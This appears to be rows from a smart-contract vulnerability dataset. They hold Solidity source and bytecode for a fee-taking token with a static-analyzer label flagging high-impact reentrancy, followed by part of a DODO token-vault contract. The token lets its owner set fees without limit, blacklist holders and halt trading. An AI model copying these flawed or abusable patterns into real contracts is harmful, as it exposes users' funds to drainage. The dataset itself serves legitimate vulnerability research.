if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610529578063dd62ed3e14610549578063ea1644d51461058f578063f2fde38b146105af57600080fd5b8063a2a957bb146104a4578063a9059cbb146104c4578063bfd79284146104e4578063c3c8cd801461051457600080fd5b80638f70ccf7116100d15780638f70ccf7146104195780638f9a55c01461043957806395d89b411461044f57806398a5c3151461048457600080fd5b806374010ece146103c55780637d1db4a5146103e55780638da5cb5b146103fb57600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461035b5780636fc3eaec1461037b57806370a0823114610390578063715018a6146103b057600080fd5b8063313ce567146102ff57806349bd5a5e1461031b5780636b9990531461033b57600080fd5b80631694505e116101a05780631694505e1461026c57806318160ddd146102a457806323b872dd146102c95780632fd689e3146102e957600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023c57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611af5565b6105cf565b005b3480156101ff57600080fd5b5060408051808201909152600e81526d454c4f4e204d55534b203139393560901b60208201525b6040516102339190611c1f565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611a4b565b61067c565b6040519015158152602001610233565b34801561027857600080fd5b5060145461028c906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102b057600080fd5b50671bafa9ee16e780005b604051908152602001610233565b3480156102d557600080fd5b5061025c6102e4366004611a0b565b610693565b3480156102f557600080fd5b506102bb60185481565b34801561030b57600080fd5b5060405160098152602001610233565b34801561032757600080fd5b5060155461028c906001600160a01b031681565b34801561034757600080fd5b506101f161035636600461199b565b6106fc565b34801561036757600080fd5b506101f1610376366004611bbc565b610747565b34801561038757600080fd5b506101f161078f565b34801561039c57600080fd5b506102bb6103ab36600461199b565b6107da565b3480156103bc57600080fd5b506101f16107fc565b3480156103d157600080fd5b506101f16103e0366004611bd6565b610870565b3480156103f157600080fd5b506102bb60165481565b34801561040757600080fd5b506000546001600160a01b031661028c565b34801561042557600080fd5b506101f1610434366004611bbc565b61089f565b34801561044557600080fd5b506102bb60175481565b34801561045b57600080fd5b5060408051808201909152600c81526b454c4f4e4d55534b3139393560a01b6020820152610226565b34801561049057600080fd5b506101f161049f366004611bd6565b6108e7565b3480156104b057600080fd5b506101f16104bf366004611bee565b610916565b3480156104d057600080fd5b5061025c6104df366004611a4b565b610954565b3480156104f057600080fd5b5061025c6104ff36600461199b565b60106020526000908152604090205460ff1681565b34801561052057600080fd5b506101f1610961565b34801561053557600080fd5b506101f1610544366004611a76565b6109b5565b34801561055557600080fd5b506102bb6105643660046119d3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059b57600080fd5b506101f16105aa366004611bd6565b610a64565b3480156105bb57600080fd5b506101f16105ca36600461199b565b610a93565b6000546001600160a01b031633146106025760405162461bcd60e51b81526004016105f990611c72565b60405180910390fd5b60005b81518110156106785760016010600084848151811061063457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067081611d85565b915050610605565b5050565b6000610689338484610b7d565b5060015b92915050565b60006106a0848484610ca1565b6106f284336106ed85604051806060016040528060288152602001611de2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111dd565b610b7d565b5060019392505050565b6000546001600160a01b031633146107265760405162461bcd60e51b81526004016105f990611c72565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107715760405162461bcd60e51b81526004016105f990611c72565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107c457506013546001600160a01b0316336001600160a01b0316145b6107cd57600080fd5b476107d781611217565b50565b6001600160a01b03811660009081526002602052604081205461068d9061129c565b6000546001600160a01b031633146108265760405162461bcd60e51b81526004016105f990611c72565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089a5760405162461bcd60e51b81526004016105f990611c72565b601655565b6000546001600160a01b031633146108c95760405162461bcd60e51b81526004016105f990611c72565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109115760405162461bcd60e51b81526004016105f990611c72565b601855565b6000546001600160a01b031633146109405760405162461bcd60e51b81526004016105f990611c72565b600893909355600a91909155600955600b55565b6000610689338484610ca1565b6012546001600160a01b0316336001600160a01b0316148061099657506013546001600160a01b0316336001600160a01b0316145b61099f57600080fd5b60006109aa306107da565b90506107d781611320565b6000546001600160a01b031633146109df5760405162461bcd60e51b81526004016105f990611c72565b60005b82811015610a5e578160056000868685818110610a0f57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a24919061199b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5681611d85565b9150506109e2565b50505050565b6000546001600160a01b03163314610a8e5760405162461bcd60e51b81526004016105f990611c72565b601755565b6000546001600160a01b03163314610abd5760405162461bcd60e51b81526004016105f990611c72565b6001600160a01b038116610b225760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bdf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f9565b6001600160a01b038216610c405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f9565b6001600160a01b038216610d675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f9565b60008111610dc95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f9565b6000546001600160a01b03848116911614801590610df557506000546001600160a01b03838116911614155b156110d657601554600160a01b900460ff16610e8e576000546001600160a01b03848116911614610e8e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f9565b601654811115610ee05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f9565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2257506001600160a01b03821660009081526010602052604090205460ff16155b610f7a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f9565b6015546001600160a01b03838116911614610fff5760175481610f9c846107da565b610fa69190611d17565b10610fff5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f9565b600061100a306107da565b6018546016549192508210159082106110235760165491505b80801561103a5750601554600160a81b900460ff16155b801561105457506015546001600160a01b03868116911614155b80156110695750601554600160b01b900460ff165b801561108e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110b357506001600160a01b03841660009081526005602052604090205460ff16155b156110d3576110c182611320565b4780156110d1576110d147611217565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061111857506001600160a01b03831660009081526005602052604090205460ff165b8061114a57506015546001600160a01b0385811691161480159061114a57506015546001600160a01b03848116911614155b15611157575060006111d1565b6015546001600160a01b03858116911614801561118257506014546001600160a01b03848116911614155b1561119457600854600c55600954600d555b6015546001600160a01b0384811691161480156111bf57506014546001600160a01b03858116911614155b156111d157600a54600c55600b54600d555b610a5e848484846114c5565b600081848411156112015760405162461bcd60e51b81526004016105f99190611c1f565b50600061120e8486611d6e565b95945050505050565b6012546001600160a01b03166108fc6112318360026114f3565b6040518115909202916000818181858888f19350505050158015611259573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112748360026114f3565b6040518115909202916000818181858888f19350505050158015610678573d6000803e3d6000fd5b60006006548211156113035760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f9565b600061130d611535565b905061131983826114f3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061137657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113ca57600080fd5b505afa1580156113de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140291906119b7565b8160018151811061142357634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114499130911684610b7d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611482908590600090869030904290600401611ca7565b600060405180830381600087803b15801561149c57600080fd5b505af11580156114b0573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114d2576114d2611558565b6114dd848484611586565b80610a5e57610a5e600e54600c55600f54600d55565b600061131983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061167d565b60008060006115426116ab565b909250905061155182826114f3565b9250505090565b600c541580156115685750600d54155b1561156f57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611598876116eb565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115ca9087611748565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115f9908661178a565b6001600160a01b03891660009081526002602052604090205561161b816117e9565b6116258483611833565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166a91815260200190565b60405180910390a3505050505050505050565b6000818361169e5760405162461bcd60e51b81526004016105f99190611c1f565b50600061120e8486611d2f565b6006546000908190671bafa9ee16e780006116c682826114f3565b8210156116e257505060065492671bafa9ee16e7800092509050565b90939092509050565b60008060008060008060008060006117088a600c54600d54611857565b9250925092506000611718611535565b9050600080600061172b8e8787876118ac565b919e509c509a509598509396509194505050505091939550919395565b600061131983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111dd565b6000806117978385611d17565b9050838110156113195760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f9565b60006117f3611535565b9050600061180183836118fc565b3060009081526002602052604090205490915061181e908261178a565b30600090815260026020526040902055505050565b6006546118409083611748565b600655600754611850908261178a565b6007555050565b6000808080611871606461186b89896118fc565b906114f3565b90506000611884606461186b8a896118fc565b9050600061189c826118968b86611748565b90611748565b9992985090965090945050505050565b60008080806118bb88866118fc565b905060006118c988876118fc565b905060006118d788886118fc565b905060006118e9826118968686611748565b939b939a50919850919650505050505050565b60008261190b5750600061068d565b60006119178385611d4f565b9050826119248583611d2f565b146113195760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f9565b803561198681611dcc565b919050565b8035801515811461198657600080fd5b6000602082840312156119ac578081fd5b813561131981611dcc565b6000602082840312156119c8578081fd5b815161131981611dcc565b600080604083850312156119e5578081fd5b82356119f081611dcc565b91506020830135611a0081611dcc565b809150509250929050565b600080600060608486031215611a1f578081fd5b8335611a2a81611dcc565b92506020840135611a3a81611dcc565b929592945050506040919091013590565b60008060408385031215611a5d578182fd5b8235611a6881611dcc565b946020939093013593505050565b600080600060408486031215611a8a578283fd5b833567ffffffffffffffff80821115611aa1578485fd5b818601915086601f830112611ab4578485fd5b813581811115611ac2578586fd5b8760208260051b8501011115611ad6578586fd5b602092830195509350611aec918601905061198b565b90509250925092565b60006020808385031215611b07578182fd5b823567ffffffffffffffff80821115611b1e578384fd5b818501915085601f830112611b31578384fd5b813581811115611b4357611b43611db6565b8060051b604051601f19603f83011681018181108582111715611b6857611b68611db6565b604052828152858101935084860182860187018a1015611b86578788fd5b8795505b83861015611baf57611b9b8161197b565b855260019590950194938601938601611b8a565b5098975050505050505050565b600060208284031215611bcd578081fd5b6113198261198b565b600060208284031215611be7578081fd5b5035919050565b60008060008060808587031215611c03578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c4b57858101830151858201604001528201611c2f565b81811115611c5c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cf65784516001600160a01b031683529383019391830191600101611cd1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d2a57611d2a611da0565b500190565b600082611d4a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d6957611d69611da0565b500290565b600082821015611d8057611d80611da0565b500390565b6000600019821415611d9957611d99611da0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209b45de6f3ae0018a63a900526989c445632e2129d8e492f630b59ae710bce47564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,951 |
0x3fefa465e68720b21a79aa00a1f2b1c3048c4909
|
// File: contracts/lib/SafeMath.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/DecimalMath.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title DecimalMath
* @author DODO Breeder
*
* @notice Functions for fixed point number with 18 decimals
*/
library DecimalMath {
using SafeMath for uint256;
uint256 constant ONE = 10**18;
function mul(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d) / ONE;
}
function divFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(ONE).div(d);
}
function divCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(ONE).divCeil(d);
}
}
// File: contracts/lib/Ownable.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract Ownable {
address public _OWNER_;
address public _NEW_OWNER_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
constructor() internal {
_OWNER_ = msg.sender;
emit OwnershipTransferred(address(0), _OWNER_);
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "INVALID_OWNER");
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() external {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/intf/IERC20.sol
// This is a file copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeERC20.sol
/*
Copyright 2020 DODO ZOO.
This is a simplified version of OpenZepplin's SafeERC20 library
*/
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/token/LockedTokenVault.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title LockedTokenVault
* @author DODO Breeder
*
* @notice Lock Token and release it linearly
*/
contract LockedTokenVault is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address _TOKEN_;
mapping(address => uint256) internal originBalances;
mapping(address => uint256) internal claimedBalances;
mapping(address => address) internal holderTransferRequest;
uint256 public _UNDISTRIBUTED_AMOUNT_;
uint256 public _START_RELEASE_TIME_;
uint256 public _RELEASE_DURATION_;
uint256 public _CLIFF_RATE_;
bool public _DISTRIBUTE_FINISHED_;
// ============ Modifiers ============
modifier beforeStartRelease() {
require(block.timestamp < _START_RELEASE_TIME_, "RELEASE START");
_;
}
modifier afterStartRelease() {
require(block.timestamp > _START_RELEASE_TIME_, "RELEASE NOT START");
_;
}
modifier distributeNotFinished() {
require(!_DISTRIBUTE_FINISHED_, "DISTRIBUTE FINISHED");
_;
}
// ============ Init Functions ============
constructor(
address _token,
uint256 _startReleaseTime,
uint256 _releaseDuration,
uint256 _cliffRate
) public {
_TOKEN_ = _token;
_START_RELEASE_TIME_ = _startReleaseTime;
_RELEASE_DURATION_ = _releaseDuration;
_CLIFF_RATE_ = _cliffRate;
}
function deposit(uint256 amount) external onlyOwner {
_tokenTransferIn(_OWNER_, amount);
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.add(amount);
}
function withdraw(uint256 amount) external onlyOwner {
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.sub(amount);
_tokenTransferOut(_OWNER_, amount);
}
function finishDistribute() external onlyOwner {
_DISTRIBUTE_FINISHED_ = true;
}
// ============ For Owner ============
function grant(address[] calldata holderList, uint256[] calldata amountList)
external
onlyOwner
{
require(holderList.length == amountList.length, "batch grant length not match");
uint256 amount = 0;
for (uint256 i = 0; i < holderList.length; ++i) {
originBalances[holderList[i]] = originBalances[holderList[i]].add(amountList[i]);
amount = amount.add(amountList[i]);
}
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.sub(amount);
}
function recall(address holder) external onlyOwner distributeNotFinished {
uint256 amount = originBalances[holder];
originBalances[holder] = 0;
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.add(amount);
}
// ============ For Holder ============
function transferLockedToken(address to) external {
originBalances[to] = originBalances[to].add(originBalances[msg.sender]);
claimedBalances[to] = claimedBalances[to].add(claimedBalances[msg.sender]);
originBalances[msg.sender] = 0;
claimedBalances[msg.sender] = 0;
}
function claim() external {
uint256 claimableToken = getClaimableBalance(msg.sender);
_tokenTransferOut(msg.sender, claimableToken);
claimedBalances[msg.sender] = claimedBalances[msg.sender].add(claimableToken);
}
// ============ View ============
function getOriginBalance(address holder) external view returns (uint256) {
return originBalances[holder];
}
function getClaimedBalance(address holder) external view returns (uint256) {
return claimedBalances[holder];
}
function getHolderTransferRequest(address holder) external view returns (address) {
return holderTransferRequest[holder];
}
function getClaimableBalance(address holder) public view returns (uint256) {
if (block.timestamp < _START_RELEASE_TIME_) {
return 0;
}
uint256 remainingToken = getRemainingBalance(holder);
return originBalances[holder].sub(remainingToken).sub(claimedBalances[holder]);
}
function getRemainingBalance(address holder) public view returns (uint256) {
uint256 remainingToken = 0;
uint256 timePast = block.timestamp.sub(_START_RELEASE_TIME_);
if (timePast < _RELEASE_DURATION_) {
uint256 remainingTime = _RELEASE_DURATION_.sub(timePast);
remainingToken = originBalances[holder]
.sub(DecimalMath.mul(originBalances[holder], _CLIFF_RATE_))
.mul(remainingTime)
.div(_RELEASE_DURATION_);
}
return remainingToken;
}
